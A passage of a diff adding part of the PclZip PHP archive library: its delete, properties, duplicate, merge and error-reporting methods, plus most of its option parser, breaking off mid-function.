+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  function delete()
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::delete", "");
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return(0);
+    }
+
+    // ----- Set default values
+    $v_options = array();
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "$v_size arguments passed to the method");
+
+    // ----- Look for arguments
+    if ($v_size > 0) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Parse the options
+      $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                        array (PCLZIP_OPT_BY_NAME => 'optional',
+                                               PCLZIP_OPT_BY_EREG => 'optional',
+                                               PCLZIP_OPT_BY_PREG => 'optional',
+                                               PCLZIP_OPT_BY_INDEX => 'optional' ));
+      if ($v_result != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+          return 0;
+      }
+    }
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Call the delete fct
+    $v_list = array();
+    if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) {
+      $this->privSwapBackMagicQuotes();
+      unset($v_list);
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0, PclZip::errorInfo());
+      return(0);
+    }
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_list);
+    return $v_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : deleteByIndex()
+  // Description :
+  //   ***** Deprecated *****
+  //   delete(PCLZIP_OPT_BY_INDEX, $p_index) should be prefered.
+  // --------------------------------------------------------------------------------
+  function deleteByIndex($p_index)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::deleteByIndex", "index='$p_index'");
+    
+    $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index);
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $p_list);
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : properties()
+  // Description :
+  //   This method gives the properties of the archive.
+  //   The properties are :
+  //     nb : Number of files in the archive
+  //     comment : Comment associated with the archive file
+  //     status : not_exist, ok
+  // Parameters :
+  //   None
+  // Return Values :
+  //   0 on failure,
+  //   An array with the archive properties.
+  // --------------------------------------------------------------------------------
+  function properties()
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::properties", "");
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      $this->privSwapBackMagicQuotes();
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return(0);
+    }
+
+    // ----- Default properties
+    $v_prop = array();
+    $v_prop['comment'] = '';
+    $v_prop['nb'] = 0;
+    $v_prop['status'] = 'not_exist';
+
+    // ----- Look if file exists
+    if (@is_file($this->zipname))
+    {
+      // ----- Open the zip file
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+      if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
+      {
+        $this->privSwapBackMagicQuotes();
+        
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), 0);
+        return 0;
+      }
+
+      // ----- Read the central directory informations
+      $v_central_dir = array();
+      if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+      {
+        $this->privSwapBackMagicQuotes();
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+        return 0;
+      }
+
+      // ----- Close the zip file
+      $this->privCloseFd();
+
+      // ----- Set the user attributes
+      $v_prop['comment'] = $v_central_dir['comment'];
+      $v_prop['nb'] = $v_central_dir['entries'];
+      $v_prop['status'] = 'ok';
+    }
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_prop);
+    return $v_prop;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : duplicate()
+  // Description :
+  //   This method creates an archive by copying the content of an other one. If
+  //   the archive already exist, it is replaced by the new one without any warning.
+  // Parameters :
+  //   $p_archive : The filename of a valid archive, or
+  //                a valid PclZip object.
+  // Return Values :
+  //   1 on success.
+  //   0 or a negative value on error (error code).
+  // --------------------------------------------------------------------------------
+  function duplicate($p_archive)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::duplicate", "");
+    $v_result = 1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Look if the $p_archive is a PclZip object
+    if ((is_object($p_archive)) && (get_class($p_archive) == 'pclzip'))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "The parameter is valid PclZip object '".$p_archive->zipname."'");
+
+      // ----- Duplicate the archive
+      $v_result = $this->privDuplicate($p_archive->zipname);
+    }
+
+    // ----- Look if the $p_archive is a string (so a filename)
+    else if (is_string($p_archive))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "The parameter is a filename '$p_archive'");
+
+      // ----- Check that $p_archive is a valid zip file
+      // TBC : Should also check the archive format
+      if (!is_file($p_archive)) {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'");
+        $v_result = PCLZIP_ERR_MISSING_FILE;
+      }
+      else {
+        // ----- Duplicate the archive
+        $v_result = $this->privDuplicate($p_archive);
+      }
+    }
+
+    // ----- Invalid variable
+    else
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
+      $v_result = PCLZIP_ERR_INVALID_PARAMETER;
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : merge()
+  // Description :
+  //   This method merge the $p_archive_to_add archive at the end of the current
+  //   one ($this).
+  //   If the archive ($this) does not exist, the merge becomes a duplicate.
+  //   If the $p_archive_to_add archive does not exist, the merge is a success.
+  // Parameters :
+  //   $p_archive_to_add : It can be directly the filename of a valid zip archive,
+  //                       or a PclZip object archive.
+  // Return Values :
+  //   1 on success,
+  //   0 or negative values on error (see below).
+  // --------------------------------------------------------------------------------
+  function merge($p_archive_to_add)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::merge", "");
+    $v_result = 1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return(0);
+    }
+
+    // ----- Look if the $p_archive_to_add is a PclZip object
+    if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == 'pclzip'))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The parameter is valid PclZip object");
+
+      // ----- Merge the archive
+      $v_result = $this->privMerge($p_archive_to_add);
+    }
+
+    // ----- Look if the $p_archive_to_add is a string (so a filename)
+    else if (is_string($p_archive_to_add))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The parameter is a filename");
+
+      // ----- Create a temporary archive
+      $v_object_archive = new PclZip($p_archive_to_add);
+
+      // ----- Merge the archive
+      $v_result = $this->privMerge($v_object_archive);
+    }
+
+    // ----- Invalid variable
+    else
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
+      $v_result = PCLZIP_ERR_INVALID_PARAMETER;
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+
+
+  // --------------------------------------------------------------------------------
+  // Function : errorCode()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function errorCode()
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      return(PclErrorCode());
+    }
+    else {
+      return($this->error_code);
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : errorName()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function errorName($p_with_code=false)
+  {
+    $v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR',
+                      PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL',
+                      PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL',
+                      PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER',
+                      PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE',
+                      PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG',
+                      PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP',
+                      PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE',
+                      PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL',
+                      PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION',
+                      PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT',
+                      PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL',
+                      PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL',
+                      PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM',
+                      PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP',
+                      PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE',
+                      PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE',
+                      PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION',
+                      PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION'
+                      ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE'
+                      ,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION'
+                    );
+
+    if (isset($v_name[$this->error_code])) {
+      $v_value = $v_name[$this->error_code];
+    }
+    else {
+      $v_value = 'NoName';
+    }
+
+    if ($p_with_code) {
+      return($v_value.' ('.$this->error_code.')');
+    }
+    else {
+      return($v_value);
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : errorInfo()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function errorInfo($p_full=false)
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      return(PclErrorString());
+    }
+    else {
+      if ($p_full) {
+        return($this->errorName(true)." : ".$this->error_string);
+      }
+      else {
+        return($this->error_string." [code ".$this->error_code."]");
+      }
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+
+// --------------------------------------------------------------------------------
+// ***** UNDER THIS LINE ARE DEFINED PRIVATE INTERNAL FUNCTIONS *****
+// *****                                                        *****
+// *****       THESES FUNCTIONS MUST NOT BE USED DIRECTLY       *****
+// --------------------------------------------------------------------------------
+
+
+
+  // --------------------------------------------------------------------------------
+  // Function : privCheckFormat()
+  // Description :
+  //   This method check that the archive exists and is a valid zip archive.
+  //   Several level of check exists. (futur)
+  // Parameters :
+  //   $p_level : Level of check. Default 0.
+  //              0 : Check the first bytes (magic codes) (default value))
+  //              1 : 0 + Check the central directory (futur)
+  //              2 : 1 + Check each file header (futur)
+  // Return Values :
+  //   true on success,
+  //   false on error, the error code is set.
+  // --------------------------------------------------------------------------------
+  function privCheckFormat($p_level=0)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privCheckFormat", "");
+    $v_result = true;
+
+	// ----- Reset the file system cache
+    clearstatcache();
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Look if the file exits
+    if (!is_file($this->zipname)) {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, false, PclZip::errorInfo());
+      return(false);
+    }
+
+    // ----- Check that the file is readeable
+    if (!is_readable($this->zipname)) {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, false, PclZip::errorInfo());
+      return(false);
+    }
+
+    // ----- Check the magic code
+    // TBC
+
+    // ----- Check the central header
+    // TBC
+
+    // ----- Check each file header
+    // TBC
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privParseOptions()
+  // Description :
+  //   This internal methods reads the variable list of arguments ($p_options_list,
+  //   $p_size) and generate an array with the options and values ($v_result_list).
+  //   $v_requested_options contains the options that can be present and those that
+  //   must be present.
+  //   $v_requested_options is an array, with the option value as key, and 'optional',
+  //   or 'mandatory' as value.
+  // Parameters :
+  //   See above.
+  // Return Values :
+  //   1 on success.
+  //   0 on failure.
+  // --------------------------------------------------------------------------------
+  function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privParseOptions", "");
+    $v_result=1;
+    
+    // ----- Read the options
+    $i=0;
+    while ($i<$p_size) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Looking for table index $i, option = '".PclZipUtilOptionText($p_options_list[$i])."(".$p_options_list[$i].")'");
+
+      // ----- Check if the option is supported
+      if (!isset($v_requested_options[$p_options_list[$i]])) {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method");
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+
+      // ----- Look for next option
+      switch ($p_options_list[$i]) {
+        // ----- Look for options that request a path value
+        case PCLZIP_OPT_PATH :
+        case PCLZIP_OPT_REMOVE_PATH :
+        case PCLZIP_OPT_ADD_PATH :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], false);
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+          $i++;
+        break;
+
+        case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (   is_string($p_options_list[$i+1])
+              && ($p_options_list[$i+1] != '')) {
+            $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], false);
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+            $i++;
+          }
+          else {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." set with an empty value is ignored.");
+          }
+        break;
+
+        // ----- Look for options that request an array of string for value
+        case PCLZIP_OPT_BY_NAME :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (is_string($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1];
+          }
+          else if (is_array($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+          ////--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+          $i++;
+        break;
+
+        // ----- Look for options that request an EREG or PREG expression
+        case PCLZIP_OPT_BY_EREG :
+        case PCLZIP_OPT_BY_PREG :
+        //case PCLZIP_OPT_CRYPT :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (is_string($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+          $i++;
+        break;
+
+        // ----- Look for options that takes a string
+        case PCLZIP_OPT_COMMENT :
+        case PCLZIP_OPT_ADD_COMMENT :
+        case PCLZIP_OPT_PREPEND_COMMENT :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE,
+			                     "Missing parameter value for option '"
+								 .PclZipUtilOptionText($p_options_list[$i])
+								 ."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (is_string($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE,
+			                     "Wrong parameter value for option '"
+								 .PclZipUtilOptionText($p_options_list[$i])
+								 ."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+          $i++;
+        break;
+
+        // ----- Look for options that request an array of index
+        case PCLZIP_OPT_BY_INDEX :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_work_list = array();
+          if (is_string($p_options_list[$i+1])) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Index value is a string '".$p_options_list[$i+1]."'");
+
+              // ----- Remove spaces
+              $p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', '');
+
+              // ----- Parse items
+              $v_work_list = explode(",", $p_options_list[$i+1]);
+          }
+          else if (is_integer($p_options_list[$i+1])) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Index value is an integer '".$p_options_list[$i+1]."'");
+              $v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1];
+          }
+          else if (is_array($p_options_list[$i+1])) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Index value is an array");
+              $v_work_list = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+          
+          // ----- Reduce the index list
+          // each index item in the list must be a couple with a start and
+          // an end value : [0,3], [5-5], [8-10], ...
+          // ----- Check the format of each item
+          $v_sort_flag=false;
+          $v_sort_value=0;
+          for ($j=0; $j<sizeof($v_work_list); $j++) {
+              // ----- Explode the item
+              $v_item_list = explode("-", $v_work_list[$j]);
+              $v_size_item_list = sizeof($v_item_list);
+              
+              // ----- TBC : Here we might check that each item is a
+              // real integer ...
+              
+              // ----- Look for single value
+              if ($v_size_item_list == 1) {
+                  // ----- Set the option value
+                  $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
+                  $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[0];
+              }
+              elseif ($v_size_item_list == 2) {
+                  // ----- Set the option value
+                  $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
+                  $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[1];
+              }
+              else {
+                  // ----- Error log
+                  PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Too many values in index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+                  // ----- Return
+                  //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+                  return PclZip::errorCode();
+              }
+
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extracted index item = [".$v_result_list[$p_options_list[$i]][$j]['start'].",".$v_result_list[$p_options_list[$i]][$j]['end']."]");
+
+              // ----- Look for list sort
+              if ($v_result_list[$p_options_list[$i]][$j]['start'] < $v_sort_value) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The list should be sorted ...");
+                  $v_sort_flag=true;
+
+                  // ----- TBC : An automatic sort should be writen ...
+                  // ----- Error log
+                  PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Invalid order of index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+                  // ----- Return
+                  //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+                  return PclZip::errorCode();
+              }
+              $v_sort_value = $v_result_list[$p_options_list[$i]][$j]['start'];
+          }
+          
+          // ----- Sort the items
+          if ($v_sort_flag) {
+              // TBC : To Be Completed
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "List sorting is not yet write ...");
+          }
+
+          // ----- Next option
+          $i++;
+        break;
+
+        // ----- Look for options that request no value
+        case PCLZIP_OPT_REMOVE_ALL_PATH :
+        case PCLZIP_OPT_EXTRACT_AS_STRING :
+        case PCLZIP_OPT_NO_COMPRESSION :
+        case PCLZIP_OPT_EXTRACT_IN_OUTPUT :
+        case PCLZIP_OPT_REPLACE_NEWER :
+        case PCLZIP_OPT_STOP_ON_ERROR :
+          $v_result_list[$p_options_list[$i]] = true;
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+        break;
+
+        // ----- Look for options that request an octal value
+        case PCLZIP_OPT_SET_CHMOD :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+          $i++;
+        break;
+
+        // ----- Look for options that request a call-back
+        case PCLZIP_CB_PRE_EXTRACT :
+        case PCLZIP_CB_POST_EXTRACT :
+        case PCLZIP_CB_PRE_ADD :
+        case PCLZIP_CB_POST_ADD :
+        /* for futur use
+        case PCLZIP_CB_PRE_DELETE :
+        case PCLZIP_CB_POST_DELETE :
+        case PCLZIP_CB_PRE_LIST :
+        case PCLZIP_CB_POST_LIST :
+        */
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_function_name = $p_options_list[$i+1];
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "call-back ".PclZipUtilOptionText($p_options_list[$i])." = '".$v_function_name."'");
+
+          // ----- Check that the value is a valid existing function
+          if (!function_exists($v_function_name)) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '".$v_function_name."()' is not an existing function for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Set the attribute
+          $v_result_list[$p_options_list[$i]] = $v_function_name;
+          $i++;
+        break;
+
+        default :
+          // ----- Error log
